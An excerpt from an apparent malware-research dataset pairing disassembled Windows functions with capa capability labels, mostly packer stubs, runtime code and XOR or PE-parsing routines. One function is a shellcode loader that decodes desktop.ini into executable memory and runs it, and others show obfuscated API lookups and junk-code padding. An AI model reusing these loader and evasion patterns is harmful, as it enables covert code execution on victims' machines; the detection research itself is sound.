joyce8/EMBER2024-capa huggingface dataset:
Function at 0x44c032
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
xor eax, eax
push ebx
mov ebx, 0xbb40e64e
cmp dword [0x467368], eax
je 0x44c054
cmp dword [0x467368], ebx
jne 0x44c0e8
push edi
push eax
push eax
push 1
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapSetInformation]
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
mov edi, dword [ebp - 8]
xor edi, dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor edi, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
xor edi, eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor edi, eax
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov eax, dword [ebp - 0x10]
xor eax, dword [ebp - 0x14]
xor edi, eax
lea eax, [ebp - 4]
push eax
push 0x40
push 4
push 0x467368
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 4]
test edi, edi
push eax
push dword [ebp - 4]
cmovne ebx, edi
mov edi, 0x467368
push 4
push edi
mov dword [0x467368], ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 4
push edi
call sub.KERNEL32.dll_WerRegisterMemoryBlock
mov eax, dword [0x467368]
not eax
mov dword [0x46fbc8], eax
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x44c323
Capabilities:
Terminate process

Disassembly:
push 0x14
push 0x46b578
call fcn.0044ca51
push 1
call fcn.0044c4de
pop ecx
test al, al
jne 0x44c1cc
push 7
call fcn.0044d2fd
xor bl, bl
mov byte [ebp - 0x19], bl
and dword [ebp - 4], 0
call fcn.0044c4a9
mov byte [ebp - 0x24], al
mov eax, dword [0x484c10]
xor ecx, ecx
inc ecx
cmp eax, ecx
je 0x44c1c5
test eax, eax
jne 0x44c236
mov dword [0x484c10], ecx
push 0x45151c
push 0x451504
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm_e
pop ecx
pop ecx
test eax, eax
je 0x44c219
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
jmp 0x44c31d
push 0x451500
push 0x451440
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm
pop ecx
pop ecx
mov dword [0x484c10], 2
jmp 0x44c23b
mov bl, cl
mov byte [ebp - 0x19], bl
push dword [ebp - 0x24]
call fcn.0044c63b
pop ecx
call fcn.0044d2f1
mov esi, eax
xor edi, edi
cmp dword [esi], edi
je 0x44c26b
push esi
call fcn.0044c5ae
pop ecx
test al, al
je 0x44c26b
push edi
push 2
push edi
mov esi, dword [esi]
mov ecx, esi
call fcn.0044d52c
call esi
call fcn.0044d2f7
mov esi, eax
cmp dword [esi], edi
je 0x44c289
push esi
call fcn.0044c5ae
pop ecx
test al, al
je 0x44c289
push dword [esi]
call sub.api_ms_win_crt_runtime_l1_1_0.dll__register_thread_local_exe_atexit_callback
pop ecx
push edi
call sub.VCRUNTIME140.dll___telemetry_main_invoke_trigger
pop ecx
call fcn.0044d412
movzx eax, ax
push eax
call sub.api_ms_win_crt_runtime_l1_1_0.dll__get_narrow_winmain_command_line
push eax
push edi
push 0x400000
call main
mov esi, eax
push edi
call sub.VCRUNTIME140.dll___telemetry_main_return_trigger
pop ecx
call fcn.0044d445
test al, al
jne 0x44c2c2
push esi
call sub.api_ms_win_crt_runtime_l1_1_0.dll_exit
test bl, bl
jne 0x44c2cb
call sub.api_ms_win_crt_runtime_l1_1_0.dll__cexit
push edi
push 1
call fcn.0044c658
pop ecx
pop ecx
mov dword [ebp - 4], 0xfffffffe
mov eax, esi
jmp 0x44c31d
call fcn.0044ca97
ret
call fcn.0044c032
jmp 0x44c1ad
Function at 0xe2ae80
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xa1c000]
push edi
jmp 0xe2ae9a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0xe2aea1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xe2ae90
mov eax, 1
add ebx, ebx
jne 0xe2aeb3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0xe2aea8
jne 0xe2aec4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0xe2aea8
xor ecx, ecx
sub eax, 3
jb 0xe2aed8
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0xe2af4a
mov ebp, eax
add ebx, ebx
jne 0xe2aee3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0xe2aef0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0xe2af14
inc ecx
add ebx, ebx
jne 0xe2af00
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0xe2aef5
jne 0xe2af11
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0xe2aef5
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0xe2af34
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0xe2af25
jmp 0xe2ae96
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0xe2af34
add edi, ecx
jmp 0xe2ae96
pop esi
mov edi, esi
mov ecx, 0xbee
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0xe2af52
cmp byte [edi], 6
jne 0xe2af52
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0xe2af57
lea edi, [esi + 0xa28000]
mov eax, dword [edi]
or eax, eax
je 0xe2afc6
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xa2f3d4]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xa2f470]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0xe2af84
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xa2f478]
or eax, eax
je 0xe2afc0
mov dword [ebx], eax
add ebx, 4
jmp 0xe2afa1
call dword [esi + 0xa2f474]
mov ebp, dword [esi + 0xa2f47c]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x21f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0xe2affa
sub esp, 0xffffff80
jmp 0x419acc
Function at 0x532070
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xd4000]
push edi
jmp 0x53208a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x532091
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x532080
mov eax, 1
add ebx, ebx
jne 0x5320a3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x5320b4
jne 0x5320d3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5320d3
dec eax
add ebx, ebx
jne 0x5320c0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x532098
add ebx, ebx
jne 0x5320cf
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x532125
xor ecx, ecx
sub eax, 3
jb 0x5320eb
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x53215a
sar eax, 1
mov ebp, eax
jmp 0x5320f6
add ebx, ebx
jne 0x5320f6
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5320c4
inc ecx
add ebx, ebx
jne 0x532104
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5320c4
add ebx, ebx
jne 0x532111
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x532106
jne 0x532122
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x532106
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x532144
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x532136
jmp 0x532086
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x532144
add edi, ecx
jmp 0x532086
pop esi
mov edi, esi
mov ecx, 0x45f6
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x532162
cmp byte [edi], 0x22
jne 0x532162
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x532167
lea edi, [esi + 0x12f000]
mov eax, dword [edi]
or eax, eax
je 0x5321df
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x136fc4]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1370e8]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x532194
mov ecx, edi
jns 0x5321c3
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x1370f0]
or eax, eax
je 0x5321d9
mov dword [ebx], eax
add ebx, 4
jmp 0x5321b1
call dword [esi + 0x1370ec]
mov ebp, dword [esi + 0x1370f4]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x23f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x532213
sub esp, 0xffffff80
jmp 0x49add5
Function at 0x9eb920
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, dword [ebp + 0xc]
xor esi, esi
test edi, edi
je 0x9eb96c
mov cl, byte [ebx + esi]
mov dl, cl
mov al, cl
shr dl, 1
and al, 0xfe
not dl
movzx eax, al
xor dl, cl
shr dl, 1
xor dl, cl
shr dl, 1
xor dl, cl
shr dl, 1
xor dl, cl
shr dl, 1
xor dl, cl
shr dl, 1
xor dl, cl
or cl, 1
test dl, 2
movzx ecx, cl
cmove ecx, eax
mov byte [ebx + esi], cl
inc esi
cmp esi, edi
jb 0x9eb932
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x9eb9d0
Capabilities:
Hash data using md4
Initialize hashing via wincrypt

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
push 0xf0000040
push 1
push 0
push 0
lea edi, [esi + 4]
mov dword [esi], 0
push esi
mov dword [edi], 0
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x9eba22
push edi
push 0
push 0
push 0x8002
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
jne 0x9eba28
push eax
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov dword [esi], 0
pop edi
xor eax, eax
pop esi
pop ebp
ret
pop edi
mov eax, 1
pop esi
pop ebp
ret

Function at 0xa03f15
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00a03bd5

Function at 0xa08d0f
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00a08b8e

Function at 0xa0e2c0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0xa0e2ed
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0xa0e2ed
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x4032b2
Capabilities:
Encode data using xor

Disassembly:
push ecx
mov al, byte [esp + 0x10]
and dword [esp], 0
push ebx
push ebp
push esi
mov ebp, ecx
push edi
mov byte [ebp], al
nop
nop
pushal
inc eax
inc eax
inc eax
inc eax
dec eax
dec eax
dec eax
dec eax
nop
push ebx
push ecx
push edx
mov eax, 1
cpuid
mov eax, edx
mov eax, edx
shr eax, 0x17
and eax, 1
pop edx
pop ecx
pop ebx
fnop
mov dword [esp + 0x30], eax
mov dword [esp + 0x30], ecx
mov dword [esp + 0x30], edx
nop
popal
nop
nop
pushal
inc eax
inc eax
inc eax
inc eax
dec eax
dec eax
dec eax
dec eax
nop
push ebx
push ecx
push edx
mov eax, 1
cpuid
mov eax, edx
mov eax, edx
shr eax, 0x17
and eax, 1
pop edx
pop ecx
pop ebx
fnop
mov dword [esp + 0x30], eax
mov dword [esp + 0x30], ecx
mov dword [esp + 0x30], edx
nop
popal
xor eax, eax
mov cl, al
add cl, byte [esp + 0x24]
inc eax
mov byte [eax + ebp], cl
cmp eax, 0x100
jb 0x40332c
nop
nop
pushal
inc eax
inc eax
inc eax
inc eax
dec eax
dec eax
dec eax
dec eax
nop
push ebx
push ecx
push edx
mov eax, 1
cpuid
mov eax, edx
mov eax, edx
shr eax, 0x17
and eax, 1
pop edx
pop ecx
pop ebx
fnop
mov dword [esp + 0x30], eax
mov dword [esp + 0x30], ecx
mov dword [esp + 0x30], edx
nop
popal
xor esi, esi
xor edx, edx
mov eax, esi
div dword [esp + 0x1c]
mov eax, dword [esp + 0x18]
mov al, byte [edx + eax]
add al, byte [esp + 0x1c]
xor byte [esi + ebp + 1], al
inc esi
cmp esi, 0x100
jb 0x403372
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret 0x10

Function at 0x40429c
Capabilities:
Access peb ldr_data
Encode data using xor
Get number of processors
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
and dword [ebp - 4], 0
push ebx
push esi
push edi
mov eax, dword fs:[0x30]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x18], eax
mov ecx, dword [eax + 0x18]
mov eax, dword [eax]
mov dword [ebp - 0x10], eax
xor eax, eax
mov dword [ebp - 0x14], ecx
mov byte [ebp - 0x28], 0x28
mov byte [ebp - 0x27], 0xb
mov byte [ebp - 0x26], 5
mov byte [ebp - 0x25], al
mov byte [ebp - 0x24], 0x28
mov byte [ebp - 0x23], 0xd
mov byte [ebp - 0x22], 6
mov byte [ebp - 0x21], 0x16
mov byte [ebp - 0x20], 5
mov byte [ebp - 0x1f], 0x16
mov byte [ebp - 0x1e], 0x1d
mov byte [ebp - 0x1d], 0x25
mov byte [ebp - 0x1c], 0x64
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
pushal
xor eax, eax
mov ax, 0xa
mov dword [ebp - 8], eax
mov cx, 0xa
mov dword [ebp - 8], ecx
mul cx
mov dword [ebp - 0xc], eax
popal
xor eax, eax
mov cl, byte [ebp - 0xc]
xor byte [ebp + eax - 0x28], cl
inc eax
cmp eax, 0xd
jb 0x40431e
mov dword [ebp - 8], eax
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 0x14]
call dword [0x4093a8]
mov dword [ebp - 0x14], eax
test eax, eax
jne 0x40434f
mov eax, dword [ebp - 0x10]
cmp dword [ebp - 0x18], eax
je 0x404357
jmp 0x4042be
mov eax, dword [ebp - 0x14]
mov dword [0x4093a4], eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x404b14
Capabilities:
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x134
and dword [esp + 4], 0
push ebx
push esi
push edi
pushal
xor eax, eax
dec eax
xor ebx, eax
mov dword [esp + 0x30], ebx
popal
push str.V3.5_n
call dword [sym.imp.MSVCR90.dll_printf]
cmp dword [0x4093a8], 0
pop ecx
jne 0x404b4d
call fcn.0040435c
cmp dword [0x4093a4], 0
jne 0x404b5b
call fcn.0040429c
call fcn.0040459d
mov esi, dword [ebp + 0xc]
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x10]
push eax
push dword [esi]
call fcn.00404144
lea eax, [esp + 0x14]
push eax
call fcn.00403faf
mov dword [0x4093ac], eax
lea eax, [esp + 0x38]
push eax
call fcn.00403f65
push dword [esp + 0xc]
push dword [esi]
call fcn.00404033
push eax
mov dword [0x4093b0], eax
call dword [sym.imp.MSVCR90.dll__msize]
pop ecx
mov esi, eax
push esi
call fcn.00403fe4
mov eax, esi
imul eax, eax, 3
push eax
mov dword [esp + 0x10], eax
call dword [sym.imp.MSVCR90.dll_malloc]
pop ecx
mov edi, eax
push esi
lea eax, [esp + 0x10]
push eax
push edi
call fcn.0040327f
test edi, edi
je 0x404bf3
lea eax, [esp + 0x38]
push eax
push dword [esp + 0x10]
push edi
call fcn.004043b2
lea eax, [esp + 0x38]
push eax
call dword [0x409398]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.00404267
int3
Function at 0x402820
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x4d3014]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x4028b8
push SysReAllocStringLen
call sub.ADVAPI32.dll_RegOpenKeyExA
test eax, eax
jne 0x402898
xor eax, eax
push ebp
push 0x402891
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x4028d4
mov eax, dword [ebp - 4]
push eax
call sub.ADVAPI32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x402898
mov eax, dword [ebp - 4]
push eax
call sub.ADVAPI32.dll_RegCloseKey
ret
mov ax, word [0x4d3014]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x4d3014], ax
mov esp, ebp
pop ebp
ret

Function at 0x40338c
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x4d503c], 0
je 0x4033ed
cmp word [0x4d5210], 0xd7b2
jne 0x4033b5
cmp dword [0x4d5218], 0
jbe 0x4033b5
mov eax, 0x4d520c
call dword [0x4d5228]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x4d305c
push 0xfffffffffffffff5
call sub.KERNEL32.dll_GetStdHandle
push eax
call sub.KERNEL32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x403414
push 0xfffffffffffffff5
call sub.KERNEL32.dll_GetStdHandle
push eax
call sub.KERNEL32.dll_WriteFile
pop edx
ret
cmp byte [0x4d3020], 0
jne 0x403409
push 0
push 0x4d3054
push 0x4d305c
push 0
call sub.USER32.dll_MessageBoxA
pop edx
ret

Function at 0x40470c
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x404772
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 0xb]
push edx
push 0x1004
push eax
call sub.KERNEL32.dll_GetLocaleInfoA
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xb]
mov ecx, 7
call fcn.0040376c
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.00402714
mov ebx, eax
cmp dword [ebp - 4], 0
je 0x40475c
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x404779
lea eax, [ebp - 0x10]
call fcn.00403508
ret

Function at 0x405a34
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
push ebp
push ecx
mov edi, edx
mov ebx, eax
test ebx, ebx
je 0x405ad2
test ebx, ebx
setl byte [esp]
mov eax, edi
mov edx, 0xb
call fcn.00403a84
mov esi, 0xb
mov eax, ebx
mov ecx, 0xa
cdq
idiv ecx
mov eax, edx
cdq
xor eax, edx
sub eax, edx
mov ebp, eax
mov eax, ebx
mov ecx, 0xa
cdq
idiv ecx
mov ebx, eax
mov eax, edi
call fcn.004039f0
mov edx, ebp
add dl, 0x30
mov byte [eax + esi - 1], dl
dec esi
test ebx, ebx
jne 0x405a5c
cmp byte [esp], 0
je 0x405aa3
mov eax, edi
call fcn.004039f0
mov byte [eax + esi - 1], 0x2d
dec esi
test esi, esi
jle 0x405ade
mov eax, edi
call fcn.004039f0
push eax
mov eax, edi
call fcn.004039f0
add eax, esi
mov ebx, 0xb
sub ebx, esi
mov ecx, ebx
pop edx
call fcn.004025ec
mov edx, ebx
mov eax, edi
call fcn.00403a84
jmp 0x405ade
mov eax, edi
mov edx, 0x405aec
call fcn.0040355c
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x406224
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
mov ebx, edx
mov esi, eax
mov eax, ebx
mov edx, esi
call fcn.0040355c
mov eax, ebx
call fcn.004039e8
mov eax, dword [ebx]
call fcn.00403798
test eax, eax
jle 0x406255
mov edx, 1
mov ecx, dword [ebx]
xor byte [ecx + edx - 1], 0x55
inc edx
dec eax
jne 0x40624a
pop esi
pop ebx
ret

Function at 0x406a24
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov esi, eax
xor ebx, ebx
xor eax, eax
push ebp
push 0x406a6c
push dword fs:[eax]
mov dword fs:[eax], esp
push 2
mov edi, esi
push edi
call sub.KERNEL32.dll_IsBadReadPtr
test eax, eax
jne 0x406a62
cmp word [edi], 0x5a4d
jne 0x406a62
lea eax, [esi + 0x3c]
mov ebx, dword [eax]
add ebx, esi
cmp dword [ebx], 0x4550
je 0x406a62
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x406a78
mov eax, ebx
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x406c08
Capabilities:
Read file via mapping

Disassembly:
push ebx
push esi
push edi
mov esi, eax
xor edi, edi
call sub.KERNEL32.dll_GetVersion
test eax, 0x80000000
jne 0x406c4e
push 0x10000
push 0x40
call sub.KERNEL32.dll_LocalAlloc
mov ebx, eax
push 0x8000
push ebx
push esi
call sub.KERNEL32.dll_GetModuleFileNameW
push 0
push 0
push 3
push 0
push 1
push SysReAllocStringLen
push ebx
call sub.KERNEL32.dll_CreateFileW
mov esi, eax
jmp 0x406c7f
push 0x105
push 0x40
call sub.KERNEL32.dll_LocalAlloc
mov ebx, eax
push 0x104
push ebx
push esi
call sub.KERNEL32.dll_GetModuleFileNameA
push 0
push 0
push 3
push 0
push 1
push SysReAllocStringLen
push ebx
call sub.KERNEL32.dll_CreateFileA
mov esi, eax
push ebx
call sub.KERNEL32.dll_LocalFree
cmp esi, 0xffffffff
je 0x406cdc
call sub.KERNEL32.dll_GetVersion
test eax, 0x80000000
jne 0x406caa
push 0
push 0
push 0
push 2
push 0
push esi
call sub.KERNEL32.dll_CreateFileMappingW
mov ebx, eax
jmp 0x406cbc
push 0
push 0
push 0
push 2
push 0
push esi
call sub.KERNEL32.dll_CreateFileMappingA
mov ebx, eax
test ebx, ebx
je 0x406cd6
push 0
push 0
push 0
push 4
push ebx
call sub.KERNEL32.dll_MapViewOfFile
mov edi, eax
push ebx
call sub.KERNEL32.dll_CloseHandle
push esi
call sub.KERNEL32.dll_CloseHandle
mov eax, edi
pop edi
pop esi
pop ebx
ret
Function at 0x406ed4
Capabilities:
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor edi, edi
push 0
push 0
push 3
push 0
push 1
push SysReAllocStringLen
mov eax, dword [ebp + 8]
push eax
call sub.KERNEL32.dll_CreateFileW
mov ebx, eax
cmp ebx, 0xffffffff
je 0x406f5c
push 0
push 0
push 0
push 2
push 0
push ebx
call sub.KERNEL32.dll_CreateFileMappingA
mov esi, eax
test esi, esi
je 0x406f56
push 0
push 0
push 0
push 4
push esi
call sub.KERNEL32.dll_MapViewOfFile
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x406f50
mov eax, dword [ebp - 4]
call fcn.00406a24
test eax, eax
je 0x406f3d
cmp word [eax + 0x18], 0x20b
je 0x406f41
xor eax, eax
jmp 0x406f43
mov al, 1
neg al
sbb edi, edi
mov eax, dword [ebp - 4]
push eax
call sub.KERNEL32.dll_UnmapViewOfFile
push esi
call sub.KERNEL32.dll_CloseHandle
push ebx
call sub.KERNEL32.dll_CloseHandle
mov eax, edi
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret 4

Function at 0x40a054
Capabilities:
Parse pe header

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffedc
mov ebp, ecx
mov esi, edx
mov edi, eax
xor ebx, ebx
push 0x1c
lea eax, [esp + 4]
push eax
push edi
call sub.KERNEL32.dll_VirtualQuery
cmp eax, 0x1c
jne 0x40a0d0
cmp dword [esp + 0x10], 0x1000
jne 0x40a0d0
cmp dword [esp + 4], 0
je 0x40a0d0
push 0x104
lea eax, [esp + 0x20]
push eax
mov eax, dword [esp + 0xc]
push eax
call sub.KERNEL32.dll_GetModuleFileNameA
test eax, eax
je 0x40a0d0
mov eax, dword [esp + 4]
mov dword [esi], eax
mov eax, dword [esi]
cmp word [eax], 0x5a4d
jne 0x40a0d0
mov eax, dword [esi]
mov edx, dword [esi]
add edx, 0x3c
add eax, dword [edx]
cmp dword [eax], 0x4550
jne 0x40a0d0
mov edx, dword [esi]
add edx, dword [eax + 0x78]
mov dword [ebp], edx
cmp dword [ebp], 0
setne bl
mov eax, ebx
add esp, 0x124
pop ebp
pop edi
pop esi
pop ebx
ret